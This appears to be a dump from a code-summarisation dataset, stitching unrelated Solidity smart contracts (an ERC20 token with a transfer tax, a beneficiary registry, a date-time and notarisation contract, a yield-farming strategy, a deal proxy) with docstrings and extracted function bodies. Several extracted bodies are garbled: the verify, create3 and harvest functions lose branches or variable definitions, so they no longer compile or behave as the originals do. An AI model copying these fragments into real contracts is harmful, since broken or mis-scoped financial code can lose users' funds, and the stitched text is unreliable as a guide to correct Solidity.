{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"IERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*/
function burn(uint256 amount) public onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "IERC20: transfer from the zero address");
require(
recipient != address(0),
"IERC20: transfer to the zero address"
);
uint256 taxtAmount = amount.mul(_taxFee).div(100);
uint256 newAmount = amount.sub(taxtAmount);
_balances[sender] = _balances[sender].sub(
newAmount,
"IERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(newAmount);
emit Transfer(sender, recipient, newAmount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "IERC20: burn from the zero address");
require(
_totalSupply - amount <= burnCap(),
"ERC20Capped: burnable cap exceeded"
);
_balances[account] = _balances[account].sub(
amount,
"IERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"IERC20: burn amount exceeds allowance"
)
);
}
function mint(address to, uint256 amount)
external
onlyOwner
returns (bool)
{
_mint(to, amount);
return true;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
require(
_totalSupply + amount <= mintCap(),
"ERC20Capped: cap exceeded"
);
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
}
|
Returns the mint cap on the token's total supply./
|
function mintCap() public view virtual returns (uint256) {
return _mintcap;
}
| 2,538,184 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <=0.8.3;
import "./Governed.sol";
import "./CouncilControlled.sol";
import "./IBeneficiaryRegistry.sol";
contract BeneficiaryRegistry is
IBeneficiaryRegistry,
Governed,
CouncilControlled
{
struct Beneficiary {
bytes applicationCid; // ipfs address of application
uint256 listPointer;
}
event BeneficiaryAdded(
address indexed _address,
bytes indexed _applicationCid
);
event BeneficiaryRevoked(address indexed _address);
mapping(address => Beneficiary) private beneficiariesMap;
address[] private beneficiariesList;
modifier validAddress(address _address) {
require(_address == address(_address), "invalid address");
_;
}
constructor() Governed(msg.sender) CouncilControlled(msg.sender) {}
/**
* @notice add a beneficiary with their IPFS cid to the registry
* TODO: allow only election contract to modify beneficiary
*/
function addBeneficiary(address _address, bytes calldata applicationCid)
external
override
onlyGovernance
{
require(_address == address(_address), "invalid address");
require(applicationCid.length > 0, "!application");
require(!beneficiaryExists(_address), "exists");
beneficiariesList.push(_address);
beneficiariesMap[_address] = Beneficiary({
applicationCid: applicationCid,
listPointer: beneficiariesList.length - 1
});
emit BeneficiaryAdded(_address, applicationCid);
}
/**
* @notice remove a beneficiary from the registry. (callable only by council)
*/
function revokeBeneficiary(address _address) external override onlyCouncil {
require(beneficiaryExists(_address), "exists");
delete beneficiariesList[beneficiariesMap[_address].listPointer];
delete beneficiariesMap[_address];
emit BeneficiaryRevoked(_address);
}
/**
* @notice check if beneficiary exists in the registry
*/
function beneficiaryExists(address _address)
public
view
override
returns (bool)
{
if (beneficiariesList.length == 0) return false;
return
beneficiariesList[beneficiariesMap[_address].listPointer] == _address;
}
/**
* @notice get beneficiary's application cid from registry. this cid is the address to the beneficiary application that is included in the beneficiary nomination proposal.
*/
function getBeneficiary(address _address) public view returns (bytes memory) {
return beneficiariesMap[_address].applicationCid;
}
}
|
check if beneficiary exists in the registry/
|
function beneficiaryExists(address _address)
public
view
override
returns (bool)
{
if (beneficiariesList.length == 0) return false;
return
beneficiariesList[beneficiariesMap[_address].listPointer] == _address;
}
| 12,676,097 |
pragma solidity ^0.4.2;
contract DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = getHour(timestamp);
// Minute
dt.minute = getMinute(timestamp);
// Second
dt.second = getSecond(timestamp);
// Day of week.
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) constant returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) constant returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
// Copyrobo contract for notarization
contract ProofOfExistence {
// string: sha256 of document
// unit : timestamp
mapping (string => uint) private proofs;
function uintToBytes(uint v) constant returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function uintToString(uint16 x) constant returns (string) {
bytes32 a = uintToBytes(x);
return bytes32ToString(a);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function notarize(string sha256) {
// validate it has 64 characters
if ( bytes(sha256).length == 64 ){
// check if it is existing, don't save it
if ( proofs[sha256] == 0 ){
proofs[sha256] = block.timestamp;
}
}
}
// Input sha256 hash string to check
function verify(string sha256) constant returns (uint,uint16,uint16,uint16,uint16,uint16) {
var timestamp = proofs[sha256];
if ( timestamp == 0 ){
return (timestamp,0,0,0,0,0);
}else{
DateTime dt = DateTime(msg.sender);
uint16 year = dt.getYear(timestamp);
uint16 month = dt.getMonth(timestamp);
uint16 day = dt.getDay(timestamp);
uint16 hour = dt.getHour(timestamp);
uint16 minute = dt.getMinute(timestamp);
uint16 second = dt.getSecond(timestamp);
return (timestamp,year, month,day,hour,minute);
// string memory result = strConcat(bytes32ToString(year) , "-" , bytes32ToString(month),"-",bytes32ToString(day));
// result = strConcat(result," ");
// result = strConcat( bytes32ToString(hour) , ":" , bytes32ToString(minute),":",bytes32ToString(second));
// result = strConcat(result," UTC") ;
// //UTC Format: 2013-10-26 14:37:48 UTC
// return result;
}
}
function getYear( uint timestamp ) constant returns (uint16){
DateTime dt = DateTime(msg.sender);
return dt.getYear( timestamp );
}
}
|
Input sha256 hash string to check string memory result = strConcat(bytes32ToString(year) , "-" , bytes32ToString(month),"-",bytes32ToString(day)); result = strConcat(result," "); result = strConcat( bytes32ToString(hour) , ":" , bytes32ToString(minute),":",bytes32ToString(second)); result = strConcat(result," UTC") ; UTC Format: 2013-10-26 14:37:48 UTC return result;
|
function verify(string sha256) constant returns (uint,uint16,uint16,uint16,uint16,uint16) {
var timestamp = proofs[sha256];
if ( timestamp == 0 ){
return (timestamp,0,0,0,0,0);
DateTime dt = DateTime(msg.sender);
uint16 year = dt.getYear(timestamp);
uint16 month = dt.getMonth(timestamp);
uint16 day = dt.getDay(timestamp);
uint16 hour = dt.getHour(timestamp);
uint16 minute = dt.getMinute(timestamp);
uint16 second = dt.getSecond(timestamp);
return (timestamp,year, month,day,hour,minute);
}
}
| 2,562,236 |
./partial_match/1/0xcc3C54B95f3f1867A43009B80ed4DD930E3cE2F7/sources/lib/solidity-utils/src/contracts/create3/Create3.sol
|
Creates a new contract with given `_creationCode` and `_salt` salt Salt of the contract creation, resulting address will be derivated from this value only creationCode Creation code (constructor) of the contract to be deployed, this value doesn't affect the resulting address value In WEI of ETH to be forwarded to child contract return addr of the deployed contract, reverts on error/ Creation code Get target final address Create CREATE2 proxy
|
function create3(
bytes32 salt,
bytes memory creationCode,
uint256 value
) internal returns (address) {
bytes memory proxyCreationCode = PROXY_CHILD_BYTECODE;
address deployedContract = addressOf(salt);
if (codeSize(deployedContract) != 0) revert TargetAlreadyExists();
address proxy;
assembly {
proxy := create2(
value,
add(proxyCreationCode, 32),
mload(proxyCreationCode),
salt
)
}
if (proxy == address(0)) revert ErrorCreatingProxy();
if (!success || codeSize(deployedContract) == 0) revert ErrorCreatingContract();
return deployedContract;
}
| 2,800,845 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.7;
import "./strategy-base.sol";
import "../../interfaces/beethovenx.sol";
import "../../lib/balancer-vault.sol";
abstract contract StrategyBeethovenxFarmBase is StrategyBase {
// Token addresses
address public constant beets = 0xF24Bcf4d1e507740041C9cFd2DddB29585aDCe1e;
address public constant vault = 0x20dd72Ed959b6147912C2e529F0a0C651c33c9ce;
address public constant masterchef = 0x8166994d9ebBe5829EC86Bd81258149B87faCfd3;
bytes32 public constant beetsFtmPoolId =
0xcde5a11a4acb4ee4c805352cec57e236bdbc3837000200000000000000000019;
// How much BEETS tokens to keep?
uint256 public keepBEETS = 1000;
uint256 public constant keepBEETSMax = 10000;
// Pool tokens
address[] public tokens;
bytes32 public vaultPoolId;
uint256 public masterchefPoolId;
constructor(
address[] memory _tokens,
bytes32 _vaultPoolId,
uint256 _masterchefPoolId,
address _lp,
address _governance,
address _strategist,
address _controller,
address _timelock
)
public
StrategyBase(_lp, _governance, _strategist, _controller, _timelock)
{
vaultPoolId = _vaultPoolId;
masterchefPoolId = _masterchefPoolId;
tokens = _tokens;
IERC20(want).approve(masterchef, uint256(-1));
}
function balanceOfPool() public view override returns (uint256) {
// How much the strategy got staked in the masterchef
(uint256 amount, ) = IBeethovenxMasterChef(masterchef).userInfo(
masterchefPoolId,
address(this)
);
return amount;
}
function getHarvestable() external view returns (uint256) {
uint256 _pendingBeets = IBeethovenxMasterChef(masterchef).pendingBeets(
masterchefPoolId,
address(this)
);
return _pendingBeets;
}
// **** Setters ****
function deposit() public override {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(masterchef, 0);
IERC20(want).safeApprove(masterchef, _want);
IBeethovenxMasterChef(masterchef).deposit(masterchefPoolId, _want, address(this));
}
}
function _withdrawSome(uint256 _amount)
internal
override
returns (uint256)
{
IBeethovenxMasterChef(masterchef).withdrawAndHarvest(masterchefPoolId, _amount, address(this));
return _amount;
}
// **** State Mutations ****
function setKeepBEETS(uint256 _keepBEETS) external {
require(msg.sender == timelock, "!timelock");
keepBEETS = _keepBEETS;
}
function _harvestRewards() internal {
// Collects BEETS tokens
IBeethovenxMasterChef(masterchef).harvest(masterchefPoolId, address(this));
uint256 _beets = IERC20(beets).balanceOf(address(this));
uint256 _keepBEETS = _beets.mul(keepBEETS).div(keepBEETSMax);
// Send performance fees to treasury
IERC20(beets).safeTransfer(IController(controller).treasury(), _keepBEETS);
}
function harvest() public virtual override {
_harvestRewards();
uint256 _rewardBalance = IERC20(beets).balanceOf(address(this));
if (_rewardBalance == 0) {
return;
}
// allow BeethovenX to sell our reward
IERC20(beets).safeApprove(vault, 0);
IERC20(beets).safeApprove(vault, _rewardBalance);
// Swap BEETS for WFTM
IBVault.SingleSwap memory swapParams = IBVault.SingleSwap({
poolId: beetsFtmPoolId,
kind: IBVault.SwapKind.GIVEN_IN,
assetIn: IAsset(beets),
assetOut: IAsset(wftm),
amount: _rewardBalance,
userData: "0x"
});
IBVault.FundManagement memory funds = IBVault.FundManagement({
sender: address(this),
recipient: payable(address(this)),
fromInternalBalance: false,
toInternalBalance: false
});
IBVault(vault).swap(swapParams, funds, 1, now + 60);
// approve WFTM spending
uint256 _wftm = IERC20(wftm).balanceOf(address(this));
IERC20(wftm).safeApprove(vault, 0);
IERC20(wftm).safeApprove(vault, _wftm);
IAsset[] memory assets = new IAsset[](tokens.length);
for (uint8 _i = 0; _i < tokens.length; _i++) {
assets[_i] = IAsset(tokens[_i]);
}
IBVault.JoinKind joinKind = IBVault
.JoinKind
.EXACT_TOKENS_IN_FOR_BPT_OUT;
uint256[] memory amountsIn = new uint256[](tokens.length);
for (uint8 _i = 0; _i < tokens.length; _i++) {
if (tokens[_i] == wftm) {
amountsIn[_i] = _wftm;
} else {
amountsIn[_i] = 0;
}
}
uint256 minAmountOut = 1;
bytes memory userData = abi.encode(joinKind, amountsIn, minAmountOut);
IBVault.JoinPoolRequest memory request = IBVault.JoinPoolRequest({
assets: assets,
maxAmountsIn: amountsIn,
userData: userData,
fromInternalBalance: false
});
// deposit WFTM into BeethovenX pool
IBVault(vault).joinPool(vaultPoolId, address(this), address(this), request);
// deposit pool token into BeethovenX masterchef
_distributePerformanceFeesAndDeposit();
}
}
|
Swap BEETS for WFTM
|
function harvest() public virtual override {
_harvestRewards();
uint256 _rewardBalance = IERC20(beets).balanceOf(address(this));
if (_rewardBalance == 0) {
return;
}
IERC20(beets).safeApprove(vault, _rewardBalance);
IBVault.SingleSwap memory swapParams = IBVault.SingleSwap({
poolId: beetsFtmPoolId,
kind: IBVault.SwapKind.GIVEN_IN,
assetIn: IAsset(beets),
assetOut: IAsset(wftm),
amount: _rewardBalance,
userData: "0x"
});
IBVault.FundManagement memory funds = IBVault.FundManagement({
sender: address(this),
recipient: payable(address(this)),
fromInternalBalance: false,
toInternalBalance: false
});
IBVault(vault).swap(swapParams, funds, 1, now + 60);
IERC20(wftm).safeApprove(vault, 0);
IERC20(wftm).safeApprove(vault, _wftm);
IAsset[] memory assets = new IAsset[](tokens.length);
for (uint8 _i = 0; _i < tokens.length; _i++) {
assets[_i] = IAsset(tokens[_i]);
}
IBVault.JoinKind joinKind = IBVault
.JoinKind
.EXACT_TOKENS_IN_FOR_BPT_OUT;
uint256[] memory amountsIn = new uint256[](tokens.length);
for (uint8 _i = 0; _i < tokens.length; _i++) {
if (tokens[_i] == wftm) {
amountsIn[_i] = _wftm;
amountsIn[_i] = 0;
}
}
uint256 minAmountOut = 1;
bytes memory userData = abi.encode(joinKind, amountsIn, minAmountOut);
IBVault.JoinPoolRequest memory request = IBVault.JoinPoolRequest({
assets: assets,
maxAmountsIn: amountsIn,
userData: userData,
fromInternalBalance: false
});
}
| 1,063,971 |
./full_match/421611/0x65DD351FE8898F351a685DAb07cd462A2a18987d/sources/_aave/core-v3/contracts/protocol/libraries/math/WadRayMath.sol
|
Divides two wad, rounding half up to the nearest wad a Wad b Wad return c = a/b, in wad/ to avoid overflow, a <= (type(uint256).max - halfB) / WAD
|
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
assembly {
if iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), WAD)))) {
revert(0, 0)
}
c := div(add(mul(a, WAD), div(b, 2)), b)
}
}
| 13,219,922 |
./partial_match/1/0xEb5302954d013483091C5725d5d3Abe5A703A464/sources/src/SellerFinancing.sol
|
@inheritdoc ISellerFinancingAdmin
|
function updateSeaportContractAddress(address newSeaportContractAddress) external onlyOwner {
_requireNonZeroAddress(newSeaportContractAddress);
seaportContractAddress = newSeaportContractAddress;
}
| 16,059,660 |
./partial_match/8453/0xC0D3C0d3C0d3c0d3C0d3C0D3c0D3c0d3c0D30016/sources/contracts/deployment/SystemDictator.sol
|
Configures the ProxyAdmin contract./ Set the AddressManager in the ProxyAdmin. Set the L1CrossDomainMessenger to the RESOLVED proxy type. Set the implementation name for the L1CrossDomainMessenger. Set the L1StandardBridge to the CHUGSPLASH proxy type.
|
function step1() external onlyOwner step(1) {
config.globalConfig.proxyAdmin.setAddressManager(config.globalConfig.addressManager);
config.globalConfig.proxyAdmin.setProxyType(
config.proxyAddressConfig.l1CrossDomainMessengerProxy,
ProxyAdmin.ProxyType.RESOLVED
);
config.globalConfig.proxyAdmin.setImplementationName(
config.proxyAddressConfig.l1CrossDomainMessengerProxy,
"OVM_L1CrossDomainMessenger"
);
config.globalConfig.proxyAdmin.setProxyType(
config.proxyAddressConfig.l1StandardBridgeProxy,
ProxyAdmin.ProxyType.CHUGSPLASH
);
}
| 16,733,264 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
/* EXTERNAL DEPENDENCIES */
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
/* INTERNAL DEPENDENCIES */
import "./CommonStructs.sol";
import "./Instructions.sol";
import "./Deals.sol";
/// @title Proxy Contract
/// @dev Main DApp entry point. Exposes the public interface and decouple the data and the logic
/// @notice lets-make-a-deal.eth allows you to make an agreement between different parties and automatically route ETH to different addresses based on simple rules.
contract Proxy is Ownable, Pausable {
/* STORAGE VARIABLES */
/// @dev Chainlink ETH/USD price feed aggregator link on Rinkeby
AggregatorV3Interface public priceFeedRef;
/// @dev Last quotation value in USD per ETH with 8 decimals precision fetched from Chainlink
uint public lastQuotationValue;
/// @dev Last quotation timestamp fetched from Chainlink
uint public lastQuotationTimestamp;
// References to external contracts
/// @dev Reference to the Instructions contract
Instructions public instructionsContractRef;
/// @dev Reference to the InstructionsProvider contract
address public instructionsProviderContractRef;
/// @dev Reference to the Deals instance
Deals public dealsContractRef;
/// @dev Reference to the Interpreter contract
address public interpreterContractRef;
// Contract fees
/// @dev Price per account added to the deal in USD
uint public accountCreationFees;
/// @dev Price per rule added to the deal in USD
uint public ruleCreationFees;
/// @dev Price to allow incoming payments from all addresses others than internal/external accounts in USD
uint public allowAllAddressesFees;
/// @dev Minimal transaction value able to trigger an execution in USDimport "@openzeppelin/contracts/security/Pausable.sol";
uint public transactionMinimalValue;
/// @dev Transaction fees in % of the msg.value perceived on a deal execution in USD
uint public transactionFees;
/* MAPPINGS */
/* MODIFIERS */
/* EVENTS */
// Modify Chainlink ETH/USD price feed aggregator address
/**
* @dev Event emitted when the Chainlink ETH/USD price feed aggregator address is changed
* @param _from Caller address
* @param _old Old address of the Chainlink ETH/USD price feed aggregator address
* @param _new New address of the Chainlink ETH/USD price feed aggregator address
*/
event ModifyPriceFeedRefAggregatorAddress(address _from, address _old, address _new);
// Modify contract references
/**
* @dev Event emitted when the Instructions contract reference is changed
* @param _from Caller address
* @param _old Old address of the Instructions contract
* @param _new New address of the Instructions contract
*/
event ModifyInstructionsContractAddress(address _from, address _old, address _new);
/**
* @dev Event emitted when the InstructionsProvider contract reference is changed
* @param _from Caller address
* @param _old Old address of the InstructionsProvider contract
* @param _new New address of the InstructionsProvider contract
*/
event ModifyInstructionsProviderContractAddress(address _from, address _old, address _new);
/**
* @dev Event emitted when the Deals contract reference is changed
* @param _from Caller address
* @param _old Old address of the Deals contract
* @param _new New address of the Deals contract
*/
event ModifyDealsContractAddress(address _from, address _old, address _new);
/**
* @dev Event emitted when the Interpreter contract reference is changed
* @param _from Caller address
* @param _old Old address of the Interpreter contract
* @param _new New address of the Interpreter contract
*/
event ModifyInterpreterContractAddress(address _from, address _old, address _new);
// Modify fees
/**
* @dev Event emitted when the account creation fees is changed
* @param _from : msg.sender
* @param _old : old account creation fees in USD
* @param _new : new account creation fees in USD
*/
event ModifyAccountCreationFees(address _from, uint _old, uint _new);
/**
* @dev Event emitted when the rule creation fees is changed
* @param _from : msg.sender
* @param _old : old rule creation fees in USD
* @param _new : new rule creation fees in USD
*/
event ModifyRuleCreationFees(address _from, uint _old, uint _new);
/**
* @dev Event emitted when the allow all accounts fees is changed
* @param _from : msg.sender
* @param _old : old allow all accounts fees in USD
* @param _new : new allow all accounts fees in USD
*/
event ModifyAllowAllAccountsFees(address _from, uint _old, uint _new);
/**
* @dev Event emitted when the transaction minimal value is changed
* @param _from : msg.sender
* @param _old : old transaction minimal value in USD
* @param _new : new transaction minimal value in USD
*/
event ModifyTransactionMinimalValue(address _from, uint _old, uint _new);
/**
* @dev Event emitted when the transaction fees are changed
* @param _from : msg.sender
* @param _old : old transaction fees value in % of msg.value
* @param _new : new transaction fees value in % of msg.value
*/
event ModifyTransactionFees(address _from, uint _old, uint _new);
/**
* @dev Event emitted when the WEI to USD conversion rate is updated from Chainlink
* @param _from : msg.sender
* @param _value : WEI/USD price at the time the Chainlink Oracle was called
* @param _timestamp : timestamp at which the price was fetched from Chainlink
*/
event QueryLastQuotationFromChainlink(address _from, uint _value, uint _timestamp);
/**
* @dev Event emitted when the deal creation fees are paid
* @param _from : msg.sender
* @param _dealId : Id of the created deal
* @param _fees : Fees paid by the user in ETH
*/
event PayDealCreationFees(address _from, uint _dealId, uint _fees);
/**
* @dev Event emitted when the transaction fees are paid
* @param _from : msg.sender
* @param _dealId : Id of the executed deal
* @param _ruleId : Id of the executed rule
* @param _fees : Fees paid by the user in ETH
*/
event PayTransactionFees(address _from, uint _dealId, uint _ruleId, uint _fees);
/**
* @dev Event emitted when an excess value is reimbursed to the user
* @param _to : address of the caller (msg.sender) where the excess value is reimbursed
* @param _dealId : Id of the created deal
* @param _amount : Amount reimbursed to the user in ETH
*/
event ReimburseExcessValue(address _to, uint _dealId, uint _amount);
/* CONSTRUCTOR */
/**
* @dev Constructor: Initialize storage variables
* @param _accountCreationFees Creation fees per account in Wei
* @param _ruleCreationFees Creation fees per rule in Wei
* @param _allowAllAddressesFees Creation fees to allow incoming payments from all addresses
* @param _transactionMinimalValue Minimal value to trigger a rule execution
* @param _transactionFees Transaction fees paid to execute a rule in % of msg.value (1=1%)
* @param _lastQuotationValue Wei per USD conversion rate
*/
constructor (
uint _accountCreationFees,
uint _ruleCreationFees,
uint _allowAllAddressesFees,
uint _transactionMinimalValue,
uint _transactionFees,
uint _lastQuotationValue
) {
accountCreationFees = _accountCreationFees;
ruleCreationFees = _ruleCreationFees;
allowAllAddressesFees = _allowAllAddressesFees;
transactionMinimalValue = _transactionMinimalValue;
transactionFees = _transactionFees;
lastQuotationValue = _lastQuotationValue;
}
/* SEND & FALLBACK */
// No payable send or fallback function includes so that the contract will return any ETH send with a call without call values
// https://docs.soliditylang.org/en/v0.8.9/contracts.html#receive-ether-function
/* OWNER INTERFACE */
// Address to Chainlink ETH/USD price feed aggregator
/**
* @dev Set the address to the Chainlink ETH/USD price feed aggregator
* @param _new New address to the Chainlink ETH/USD price feed aggregator
*/
function setPriceFeedRefAggregatorAddress(address _new) public onlyOwner {
address old = address(priceFeedRef);
priceFeedRef = AggregatorV3Interface(_new);
emit ModifyPriceFeedRefAggregatorAddress(msg.sender, old, _new);
}
// References to external contracts
/**
* @dev Sets the Instructions contract reference to a new value
* @param _new New address of the Instructions contract
*/
function setInstructionsContractRef(address _new) public onlyOwner whenPaused {
address old = address(instructionsContractRef);
instructionsContractRef = Instructions(_new);
emit ModifyInstructionsContractAddress(msg.sender, old, _new);
}
/**
* @dev Sets the InstructionsProvider contract reference to a new value
* @param _new New address of the InstructionsProvider contract
*/
